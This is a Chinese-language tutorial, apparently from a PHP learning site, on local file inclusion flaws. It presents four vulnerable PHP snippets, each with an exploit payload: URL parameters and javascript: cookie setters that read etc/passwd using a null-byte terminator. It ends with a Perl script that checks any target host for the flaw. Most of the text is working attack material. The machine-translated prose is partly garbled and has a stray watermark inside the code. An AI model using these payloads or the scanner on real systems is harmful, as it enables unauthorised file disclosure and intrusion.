==> [ 0x01 .-本地文件共享 ]
让我们看看有多少方法可以带来这些不同的程序、不同的行动,这是我们追求: 开放的心态。 [代码 #1] x: >... if (isset($_GET["mode"])) { if ($_GET["mode"]=="edit") { if (isset($_GET['id'])) { $notefile = $_GET['id']; if ($notefile == "new") { $title = ""; $notes = ""; } else { $temp = "notes/" . $notefile; require($temp); } x: <... x: }}} [ 结束代码 # 1 ] 这是最简单的例子,我们将拭目以待。正如我们没有太多很难理解它们的行为。 Exploit: ?mode=edit&id=etc/passwd $temp = "notes/" . $notefile . ".php"; 该漏洞将有一个[NULL字节](%00h)结束连接。 Exploit: ?mode=edit&id=etc/passwd%00 ~~~~~~~~~~~~~~~~~~~~~~~~~ 我们进入第2个例子。代码很容易,不安全的Cookie处理。我想你们可能会问:是否在一个安全漏洞处理?我在这儿告诉你,没有!让我们看看一个例子。 [代码 #2] if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){ $_SESSION['language'] = $_COOKIE['language']; } .... if(LANG == ""){ if(!isset($_SESSION['language'])){ include("lang/english/lang.php"); $_LANG = "english"; } else { include("lang/".$_SESSION['language']."/lang.php"); $_LANG = $_SESSION['language']; } ... } [结束代码 #2] Exploit: javascript:document.cookie="language=etc/passwd%00; path=/"; 正如我们看到的,我们必须添加NULL字节(%00h),为什么要这么做,这为了避免目录遍历。 ~~~~~~~~~~~~~~~~~~~~~~~~ 这个例子的情况非常相似例子2,只有这个时候我们有一个入侵者的函数'explode'的PHP。开放的心态,并认为想一个Hacker。 [代码 #3] x: >... if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") { $userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]); $userName = $userArray[0]; $userID = $userArray[1]; $userLang = $userArray[2]; include("include/lang/$userLang/inc.messages.php"); } x: <... [结束代码 #3] 你应该知道,"$HTTP_COOKIE_VARS"还可以操纵用户,而不是[$ _COOKIE]打开... 概念验证(函数 'explode' PHP): 1) String = JosS; [0] = JosS; [1] = ; [2] = ; ---> INCLUDE 2) String = JosS JosS JosS; [0] = JosS; [1] = JosS; [2] = JosS; ---> INCLUDE Exploit: javascript:document.cookie="userInfo=JosS JosS etc/passwd%00; path=/"; ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 对于第4个例子也是最后一个例子,它的情况类似例子1,我们要利用'IF GETS' 更大的脆弱性来处理Cookie。 [代码 #4] x: >... if (isset($_GET["mode"])) { if ($_GET["mode"]=="edit") { if (isset($_GET['id'])) { $notefile = $_COOKIE['note']; if ($notefile == "new") { $title = ""; $notes = ""; } else { $temp = "notes/" . $notefile; require($temp); } x: <... x: }}} HdhCmsTest2cto测试数据 [结束代码 #4] 我不会一步一步地解释这个代码。我们必须牢记我们的'$_COOKIE' 我们必须给予'IF'帮助我们,包括我们的'cookie'。因此,我们来利用这两个 漏洞 。 Exploit 1: javascript:document.cookie="note=etc/passwd; path=/"; Exploit 2: ?mode=edit&id ==> [ 0x02.- Exploits ] 我要把它称为[自动化],因为它们什么也不做更简化该进程并让用户感到舒适。例子是Perl 编程 ,因为对这些案件对常用。让我们来看看代码。 [代码 #1] use L WP ::UserAgent; use HTTP::Request; use LWP::Simple; if (!$ARGV[0]) { print "Usage: perl xpl.pl [HOST]\n"; print "Example: perl xpl.pl http://localhost/path/\n"; } else { $web=$ARGV[0]; chomp $web; $iny="vuln.php?vuln=etc/passwd%00"; my $web1=$web.$iny; print "$web1\n\n"; my $ua = LWP::UserAgent->new; my $req=HTTP::Request->new(GET=>$web1); $doc = $ua->request($req)->as_string; if ($doc=~ /^root/moxis ){ print "Web is vuln\n"; } else { print "Web is not vuln\n"; }} [结束代码 #1] 该Exploit非常简单,没有太多的未解之谜。我们使用了模块'LWP'使我们连接到Web。
查看更多关于基于Web服务的攻击脚本 - 网站安全 - 自学php的详细内容...